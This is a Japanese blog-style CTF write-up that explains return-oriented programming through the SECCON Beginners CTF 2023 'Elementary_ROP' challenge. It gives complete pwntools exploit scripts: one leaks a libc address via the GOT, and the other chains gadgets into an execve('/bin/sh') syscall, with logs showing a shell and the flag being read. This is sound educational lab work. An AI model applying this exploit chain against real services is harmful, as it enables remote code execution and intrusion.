SECCON beginners ctf 2023でReturn-Oriented Programming(ROP)

<h1>まえがき</h1>
<p>　6月の3日４日に開催された、SECCON Beginners CTF 2023に参加しました。その後、復習しています。今回は、その中でもpwnableのElementary_ROPを題材にReturn-Oriented Programmingについて勉強したので備忘録として投稿しようと思います。これをやっていた頃にはSecconのサーバーは閉じてしまっていて、かつ、配られた実行ファイルはライブラリのバージョンの関係で自分の環境下では実行できないため、配られたソースコードを自前でgccして使用しています。なにか間違いなどありましたらご指摘いただけると幸いです。</p>

<h1>問題について</h1>
<p>　問題は、前述したとおりSECCON Beginners CTF 2023にて出題された、pwnableのElementary_ROPです。配られたファイルには、challという実行ファイルとそのソースコードである src.c が入っていました。こちらも前述のとおり、実行ファイルchallは自分でgccしたのものです。</p>

```
$ gcc src.c -fno-stack-protector -no-pie -o chall
```

<p>checksecコマンドでは以下のようになります。</p>

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```
<p>コマンドの結果から分かるようにcanaryが無く、またアドレスも固定になっています。<br>そして、ソースコードを見ると以下のようになります。</p>

```diff_c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
```

<p>中身を見ていくと、入力を1回受け取るだけのプログラムとなっています。また、入力の受け付ける関数が、<p>

```
gets(buf)
```

<p>となっていて、canary も無いことからスタックパッファオーバーフローの脆弱性があることがわかります。関数で ROP の gadget を用意してくれていたりと、問題としては、ROPを用いることで、/bin/sh を起動させflagを手に入れることになります。</p>

<h1>Return-Oriented Programming(ROP)とは</h1>
<p>　Return-Oriented Programmingとは、スタックバッファオーバーフローなどの脆弱性があるプログラムに対して、ret命令でpopされるスタックの値を、ret命令を含む命令片のアドレスに書き変えることで、任意のコードを実行する手法のことです。このアドレスの書き換えは、書き換えることで遷移を移した先のコードのret命令でpopされるスタックの値を書き換えておくことで、任意のコードを連続して実行させることができます。単に、ret命令でpopされるアドレスを書き換えるのとは異なり、pop rdi; retなどの命令片を使用することで関数の引数の設定などもできます。</p>

<h4>gadget について</h4>
<p>　以下のようなROPで使われる命令片をgadgetと呼びます。</p>

```
      pop     rdi
      ret
```
<p>　pop命令のある箇所を使う理由は、スタックから値を代入するため、スタックに値を書き込む私達にとって、簡単に間接的にレジスタの値を書き換えることができるからです。<br>　ところで、上の pop rdi ; ret という命令片は、機械語だと、<strong>5f c3</strong> に相当します。また、pop r15; ret　という命令片は機械語だと、 <strong>41 5f c3</strong> に相当します。ということは、仮に逆アセンブルした結果の中に、</p>

```
  401252:       41 5f                   pop    r15
  401254:       c3                      ret
```
<p>というものが含まれていた場合、アドレス0x401253を</p>

```
  401253:       5f                      pop     rdi
  401254        c3                      ret
```
<p>といった形の gadget として利用することができます。こうした gadget 探すことに関しては ROPgadget というコマンドが配布されており、それを使うと簡単に見つけることができます。</p>

<h4>簡単なROPの例</h4>
<p>ROPのできる簡単なソースコードを用意しました。コードは以下のようになります。</p>

```diff_c
#include<stdio.h>

int main()
{
    setbuf(stdout,NULL);

    char buf[0x10];
    gets(buf);
    return 0;
}

void win(int arg)
{
    if(arg == 2023)
    {
        puts("You got the flag!");
    }
    else
    {
        puts("Wrong..");
    }
}
```
<p>これを、以下のように gcc します。</p>

```
$ gcc src.c -fno-stack-protector -no-pie -o chall
```

<p>ソースコードの解説としては、16byte 確保した buf に対して gets関数で書き込みを行います。gets関数は文字数の指定がないためバッファオーバーフローを起こします。また、win関数が設置されており、第一引数に2023を渡しているときだけ flag を手に入れることができます。
<br>　目標は、main関数を抜けたあとのリターンのアドレスを書き換え、rdiを2023に設定することで flag を入手することです。そのためには、スタックが以下になるように書き込む必要があります。</p>

```
# 1段 8byte
 +-------------+---------------------------+ <- rsp
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+ <- rbp
 |             | 2023                      | 
 +-------------+---------------------------+
 |             | win関数のアドレス            | 
 +-------------+---------------------------+
```

<p>簡単な解説としては、main関数を抜けたあと pop rdi; ret の gadget に処理が遷移します。そして、pop rdi で2023が pop されて rdi に代入され、その後 ret命令で win関数に処理が遷移します。<br>　これをpythonでスクリプトを書きました。</p>

```python
#!/usr/bin/env python3
import pwn

pwn.context.arch = 'x86-64'

elf = pwn.ELF('./chall')
io = pwn.remote('localhost',4000)

addr_rop_pop_rdi_ret = 0x0000000000401253 #ROPgadgetコマンドで探した値

addr_win = elf.symbols['win']
addr_win_without_push = addr_win + 5 #関数呼び出し時の16バイトアライメント調整

payload = pwn.flat(
    b'\x00' * (0x18),
    pwn.pack(addr_rop_pop_rdi_ret),
    
    pwn.pack(2023),
    pwn.pack(addr_win_without_push),
    
    b'\x0a' #gets関数は改行文字が来ると読み込むのをやめる
)

io.send(payload)

recv = io.recvrepeat(0.5)
print(recv)
``` 
<p>これを先程のソースコードをgccした実行ファイルchallを、以下のように socatコマンドを用いて4000番ポートにサーバーを開いて、</p>

```
$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall
```
<p>pythonスクリプトを実行すると、以下のように flag を入手できました。</p>

```
[+] Opening connection to localhost on port 4000: Done
b'You got the flag!\n'
[*] Closed connection to localhost port 4000
```


<h1>execve関数について</h1>
　<p>　ROPの大雑把な解説はさておき、前述の通り、今回のSECCON beginners ctf 2023の問題では /bin/sh を立ち上げることが目標になります。それためには、syscall にてexecve関数を呼び出す必要があります。この関数は

```diff_c
#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);
```
このような形となっており、/bin/shを立ち上げる場合には、第一引数に/bin/shの文字列の先頭ポインタを、そして第二、第三引数は0を渡します。また、アーキテクチャがx86-64なので、syscallの番号は59になります。アーキテクチャが違う場合はその都度、syscallの番号や、引数の渡し方について変える必要があります。今回のROPでは

<ul>
<li>適当な領域 (今回は .data 領域) に /bin/sh という文字列を書き込む</li>
<li>書き込んだアドレスをrdiに代入する</li>
<li>rsiに0を代入する</li>
<li>rdxに0を代入する</li>
<li>raxに59を代入する</li>
<li>syscall関数を使う</li>
</ul>

という操作をすることでシェルを起動させることができます。
</p>



<h1>問題を解く上で必要な情報について</h1>
<p>　上記の操作をするためには以下の情報が必要になります。
<ul>
<li>今回使用するret命令を含んだ命令片のアドレス</li>
<li>/bin/shを書き込むための適当な領域のアドレス</li>
<li>pritnf関数 gets関数など使用する関数のアドレス</li>
</ul>
以下で、それぞれについて解説します。
</p>
<h4>今回使用するret命令を含んだ命令片のアドレス</h4>
<p>　こちらは、プログラムを逆アセンブルしたコードから探してもいいのですが、ROPgadgetというコマンドがあるのでそちらを使うと便利です。これを使ってみると、</p>

```
Gadgets information
============================================================
0x00000000004010dd : add ah, dh ; nop ; endbr64 ; ret
0x000000000040110b : add bh, bh ; loopne 0x401175 ; nop ; ret
0x000000000040129c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x00000000004011d2 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004011d3 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040117a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040129e : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004010dc : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x00000000004011d4 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401179 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011d5 : add cl, cl ; ret
0x000000000040110a : add dil, dil ; loopne 0x401175 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add eax, 0x2eeb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401225 : call qword ptr [rax + 0x1f0fc35d]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401193 : cli ; jmp 0x401120
0x0000000000401199 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e3 : cli ; ret
0x00000000004012ab : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401190 : endbr64 ; jmp 0x401120
0x0000000000401196 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004010e0 : endbr64 ; ret
0x000000000040127c : fisttp word ptr [rax - 0x7d] ; ret
0x00000000004010de : hlt ; nop ; endbr64 ; ret
0x000000000040119d : in eax, 0x5f ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401105 : je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401147 : je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401194 : jmp 0x401120
0x0000000000401178 : jmp 0x4011a8
0x000000000040100b : jmp 0x4840103f
0x000000000040110c : jmp rax
0x00000000004011d6 : leave ; ret
0x000000000040110d : loopne 0x401175 ; nop ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x00000000004011d1 : mov eax, 0 ; leave ; ret
0x000000000040119c : mov ebp, esp ; pop rdi ; ret
0x0000000000401107 : mov edi, 0x404048 ; jmp rax
0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
0x00000000004010df : nop ; endbr64 ; ret
0x00000000004011a0 : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x000000000040118c : nop dword ptr [rax] ; endbr64 ; jmp 0x401120
0x0000000000401106 : or dword ptr [rdi + 0x404048], edi ; jmp rax
0x000000000040128c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401290 : pop r14 ; pop r15 ; ret
0x0000000000401292 : pop r15 ; ret
0x000000000040128b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040128f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x0000000000401291 : pop rsi ; pop r15 ; ret
0x000000000040128d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040119a : push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040101a : ret
0x0000000000401239 : retf
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012ad : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012ac : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x0000000000401103 : test eax, eax ; je 0x401110 ; mov edi, 0x404048 ; jmp rax
0x0000000000401145 : test eax, eax ; je 0x401150 ; mov edi, 0x404048 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 74

```


<p>となり、必要分だけを抜粋すると</p>

```
#0x000000000040119e : pop rdi ; ret
#0x000000000040119b : mov rbp, rsp ; pop rdi ; ret
```
<p>を得ることができましたが、今回の実行ファイル chall からは、
<ul>
<li>pop rdx; ret</li>
<li>pop rax; ret</li>
<li>syscall</li>
</ul>
は見つかりません。
</p>
<p>　それはそうと、この実行ファイル chall は実行されるときにこのコード単体で動いているわけではありません。今回は標準Cライブラリが一緒にメモリに配置されて実行されます。なので、その中から gadget を探して行くことができます。自分の環境の場合、/usr/lib/x86_64-linux-gnu/libc-2.31.so が配置されており、それを調べると以下の情報を得ることができました。(量が多いので必要部分のみ抜粋)</p>

```
# 117c2f:       0f 05                   syscall 
# 117c31:       c3                      ret

#0x000000000002601f : pop rsi ; ret
#0x0000000000142c92 : pop rdx ; ret
#0x0000000000036174 : pop rax ; ret
```
<p>この libc-2.31.so は、challが固定のアドレスであってもアドレスは固定ではありません。なので、上のアドレスは相対アドレスになります。そのため、問題を解く上ではこの libc-2.31.so の配置されているアドレスを求める必要があります。<br>　これは、chall の .got 領域に格納されています。正確には、IDAを用いて調べてみると以下のようになっており、</p>

```
.got:0000000000403FF0 ; ===========================================================================
.got:0000000000403FF0
.got:0000000000403FF0 ; Segment type: Pure data
.got:0000000000403FF0 ; Segment permissions: Read/Write
.got:0000000000403FF0 _got            segment qword public 'DATA' use64
.got:0000000000403FF0                 assume cs:_got
.got:0000000000403FF0                 ;org 403FF0h
.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000403FF0                                         ; DATA XREF: _start+28↑r
.got:0000000000403FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000403FF8                                         ; DATA XREF: _init_proc+8↑r
.got:0000000000403FF8 _got            ends
.got:0000000000403FF8
```
<p>libc-2.31.so の __libc_start_main 関数のアドレスが、0x403ff0 に格納されていることがわかります。したがってその値を ROP を用いて rdi に0x403ff0を代入し printf関数に処理を遷移させることで、アドレスを見ることができます。そうすると、__libc_start_main 関数とlibc-2.31.so 先頭アドレスは一定なので、libc-2.31.so の配置されているアドレスが分かり、先程調べた gadget の相対アドレスと合わせて用いることで、それぞれの gadget のアドレスを割り出すことができます。</p>


<h4>/bin/shを書き込むための適当な領域のアドレス</h4>
<p>　今回は、書き込むためのアドレスとして .data 領域を使用します。これは、読み書きができればどこでも大丈夫です。今回は、そのアドレスを 0x404039 としました。</p>


<h4>pritnf関数 gets関数など使用する関数のアドレス</h4>
<p>　ROPではprintfなどの関数は、実行ファイル chall の中の .plt 領域から間接的に呼び出すことができます。chall を逆アセンブルした中を探すと（必要部分抜粋）</p>

```
Disassembly of section .plt.sec:

0000000000401070 <printf@plt>:
  401070:	f3 0f 1e fa          	endbr64 
  401074:	f2 ff 25 9d 2f 00 00 	bnd jmp QWORD PTR [rip+0x2f9d]        # 404018 <printf@GLIBC_2.2.5>
  40107b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]

0000000000401090 <gets@plt>:
  401090:	f3 0f 1e fa          	endbr64 
  401094:	f2 ff 25 8d 2f 00 00 	bnd jmp QWORD PTR [rip+0x2f8d]        # 404028 <gets@GLIBC_2.2.5>
  40109b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
```
<p>を見るけることができ、printf関数だとアドレス0x401074に処理を遷移させることでprintf関数を呼び出すことができます。</p>

<h1>問題の解法</h1>
<p>　以上の情報をもとに問題を解いていきます。実際の流れとしては、
<ul>
<li>最初の入力で、libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示されるように ROP を組み、libc-2.31.so の配置アドレスを割り出す。かつ、ROPの最後にmain関数に戻ってくるようにし、もう一度入力できるようにする。</li>
<li>2回目の入力で、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするように ROP を組む。</li>
<li>gets関数で入力を求められるので、/bin/sh を入力する。</li>
</ul>
という感じになります。それぞれの入力については以下になります。
</p>

<h4>1回目の入力について</h4>
<p>
　libc-2.31.so 内の__libc_start_main 関数のアドレスが格納されているアドレス0x403ff0 の中身が printf関数で表示され、かつ、ROPの最後にmain関数に戻ってくるようにするためには、以下のようにスタックを書き換える必要があります。
</p>

```
# 1段 8byte
 +-------------+---------------------------+ 
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+ 
 |             |__libc_start_main 関数のアドレスが格納されている .got 領域のアドレス 
 +-------------+---------------------------+ 
 |             | ret;のアドレス              | #printf関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
 +-------------+---------------------------+
 |             | printf関数のアドレス        |  
 +-------------+---------------------------+
 |             | main関数のアドレス          | #16byteアラインメントの調節のため、push rbpの次の命令のアドレス
 +-------------+---------------------------+
```
<p>このようになるように1回目の入力のためのペイロードを組み入力すると、libc-2.31.so の配置アドレスを割り出すことができます。</p>


<h4>2回目の入力について</h4>
<p>　次に、.data 領域の読み書き用のアドレス 0x404039 に gets関数で入力したあと、各引数を設定して syscall命令をするようにするためには、以下のようになるようスタックを書き換える必要があります。</p>

```
# 1段 8byte
 +-------------+---------------------------+ 
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+-
 | buf         | 適当な値                   |
 +-------------+---------------------------+
 | buf         | 適当な値                   |
 +-------------+---------------------------+-
 | saved rbp   | 適当な値                   |
 +-------------+---------------------------+
 | return addr | pop rdi; ret のアドレス     |
 +-------------+---------------------------+-
 |             | .data 領域の読み書き用のアドレス
 +-------------+---------------------------+ 
 |             | ret;のアドレス              | #gets関数を呼び出したときの16byteアラインメントの調節のためにret命令だけのアドレス
 +-------------+---------------------------+-
 |             | gets関数のアドレス          |  
 +-------------+---------------------------+
 |             | pop rdi; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | .data 領域の読み書き用のアドレス                          
 +-------------+---------------------------+
 |             | pop rsi; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 0                         | #execve関数の第2引数の値
 +-------------+---------------------------+
 |             | pop rdx; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 0                         | #execve関数の第3引数の値
 +-------------+---------------------------+
 |             | pop rax; ret のアドレス     | 
 +-------------+---------------------------+-
 |             | 59                        | #execve関数のsyscall番号 
 +-------------+---------------------------+
 |             | syscall のアドレス          | 
 +-------------+---------------------------+
```

<p>このようになるように、ペイロードを組み入力すると、get関数のところで入力を求められるので、/bin/sh を入力すると、その後の syscall命令で/bin/sh が起動します。</p>

<h1>今回作成したスクリプト(Python)</h1>
<p>以上を踏まえて作成したスクリプトが以下になります。上部にいろいろ情報をメモしてあります</p>

```diff_python
#!/usr/bin/env python3
import pwn

host = 'localhost'
port = 4000
pwn.context.arch='x86-64'
bin = './chall'

#syscall 59 (x86-64)
#include <unistd.h>
#    int execve(const char *pathname, char *const _Nullable argv[],
#               char *const _Nullable envp[]);

#=============Data from ida64==============================
#.got:0000000000403FF0 __libc_start_main_ptr dq offset __libc_start_main
got_offset_libc_start_main = 0x403ff0

#addr in .data
addr_to_write = 0x404039 

#=============Data from ROPgadget.txt======================
#0x000000000040119e : pop rdi ; ret
addr_rop_pop_rdi_ret = 0x000000000040119e

#0x000000000040101a : ret
addr_rop_ret = 0x000000000040101a

#=============Data from libc_dump.txt======================
# 117c2f:       0f 05                   syscall 
# 117c31:       c3                      ret 
rel_addr_syscall_ret = 0x117c2f

#0x000000000002601f : pop rsi ; ret
rel_addr_rop_pop_rsi_ret = 0x000000000002601f

#0x0000000000142c92 : pop rdx ; ret
rel_addr_rop_pop_rdx_ret = 0x0000000000142c92

#0x0000000000036174 : pop rax ; ret
rel_addr_rop_pop_rax_ret = 0x0000000000036174

#0000000000023f90 <__libc_start_main@@GLIBC_2.2.5>:
rel_libc_start_main = 0x0000000000023f90

def exploit():
    
    io = pwn.remote(host,port)
    
    elf = pwn.ELF(bin)
    
    addr_main = elf.symbols['main']
    addr_main_without_push_rbp = addr_main + 0x5
    addr_printf = elf.plt['printf']
    addr_gets = elf.plt['gets']
    
    print('=========================First Payload================================')
    payload = pwn.flat(
        b'\x00' * (0x20),                                           
        
        pwn.pack(0),                                 
        pwn.pack(addr_rop_pop_rdi_ret),              
        
        pwn.pack(got_offset_libc_start_main),        
        pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整                    
        
        pwn.pack(addr_printf),                       
        pwn.pack(addr_main_without_push_rbp),

        b'\x0a'
    )
    
    print(f'payload = {payload}')
    io.send(payload)
    
    recv = io.recvrepeat(0.5)
    print(f'recv = {recv}')
    
    recv_addr_libc_start_main = recv[9:15]
    print(f'recv addr __libc_start_main = {recv_addr_libc_start_main}')
    addr_libc_start_main = pwn.unpack(recv_addr_libc_start_main,word_size='48')
    addr_libc_base = addr_libc_start_main - rel_libc_start_main
    
    
    print('=========================Second Payload================================')
    
    #   mov     rdi ,   offset  ;/bin/bash
    #   mov     rsi ,   0       ;
    #   mov     rdx ,   0       ;
    #   mov     rax ,   59      ;syscall(execve)
    #   syscall
    
    payload = pwn.flat(
        b'\x00' * (0x28),      
        pwn.pack(addr_rop_pop_rdi_ret),
        
        pwn.pack(addr_to_write),
        pwn.pack(addr_rop_ret),#関数呼出の16byteアラインメント調整
        
        pwn.pack(addr_gets),
        pwn.pack(addr_rop_pop_rdi_ret),
        
        pwn.pack(addr_to_write),
        pwn.pack(rel_addr_rop_pop_rsi_ret+addr_libc_base),
        
        pwn.pack(0),
        pwn.pack(rel_addr_rop_pop_rdx_ret+addr_libc_base),
        
        pwn.pack(0),
        pwn.pack(rel_addr_rop_pop_rax_ret+addr_libc_base),
        
        pwn.pack(59),
        pwn.pack(rel_addr_syscall_ret+addr_libc_base),
        
        b'\x0a'
    )
    
    print(f'payload = {payload}')
    io.send(payload)
    
    recv = io.recvrepeat(0.5)
    
    msg = pwn.flat(
        b'/bin/sh',
        b'\x0a'    
    )
    
    io.send(msg)
    
    recv = io.recvrepeat(0.5)
    
    print('====================INFORMATION===============================================')
    
    print(f'addr main = {hex(addr_main)}')
    print(f'addr main without (push rbp) = {hex(addr_main_without_push_rbp)}')
    
    print(f'addr to write = {hex(addr_to_write)}')
    
    print(f'addr __libc_start_main = {hex(addr_libc_start_main)}')
    print(f'addr libc-2.31.so = {hex(addr_libc_base)}')
    
    print(f'addr printf = {hex(addr_printf)}')
    print(f'addr_gets = {hex(addr_gets)}')
    
    
    print('==============================================================================')
    io.interactive() #/bin/shが起動するので操作できるよにする
    
    
if __name__=='__main__':
    exploit()
```

<p>これを、以下の2つのファイルを配置したディレクトリで</p>

```
chall
flag.txt
```

<p>以下のsocatコマンドでサーバーを開いておき</p>

```
$ socat TCP-L:4000,reuseaddr,fork EXEC:./chall
```

<p>スクリプトを実行すると以下の出力が得られ、/bin/shを奪取できており、flag.txtの内容を見ることができました。</p>

```
[+] Opening connection to localhost on port 4000: Done
=========================First Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x00\xf0?@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00t\x10@\x00\x00\x00\x00\x00\xa8\x11@\x00\x00\x00\x00\x00\n'
recv = b'content: \x90_=\xe0\xf0\x7fcontent: '
recv addr __libc_start_main = b'\x90_=\xe0\xf0\x7f'
=========================Second Payload================================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x9e\x11@\x00\x00\x00\x00\x009@@\x00\x00\x00\x00\x00\x1f\x80=\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92LO\xe0\xf0\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x81>\xe0\xf0\x7f\x00\x00;\x00\x00\x00\x00\x00\x00\x00/\x9cL\xe0\xf0\x7f\x00\x00\n'
====================INFORMATION===============================================
addr main = 0x4011a3
addr main without (push rbp) = 0x4011a8
addr to write = 0x404039
addr __libc_start_main = 0x7ff0e03d5f90
addr libc-2.31.so = 0x7ff0e03b2000
addr printf = 0x401074
addr_gets = 0x401094
==============================================================================
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
flag{This_is_flag!}$ exit
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to localhost port 4000
[*] Got EOF while sending in interactive
```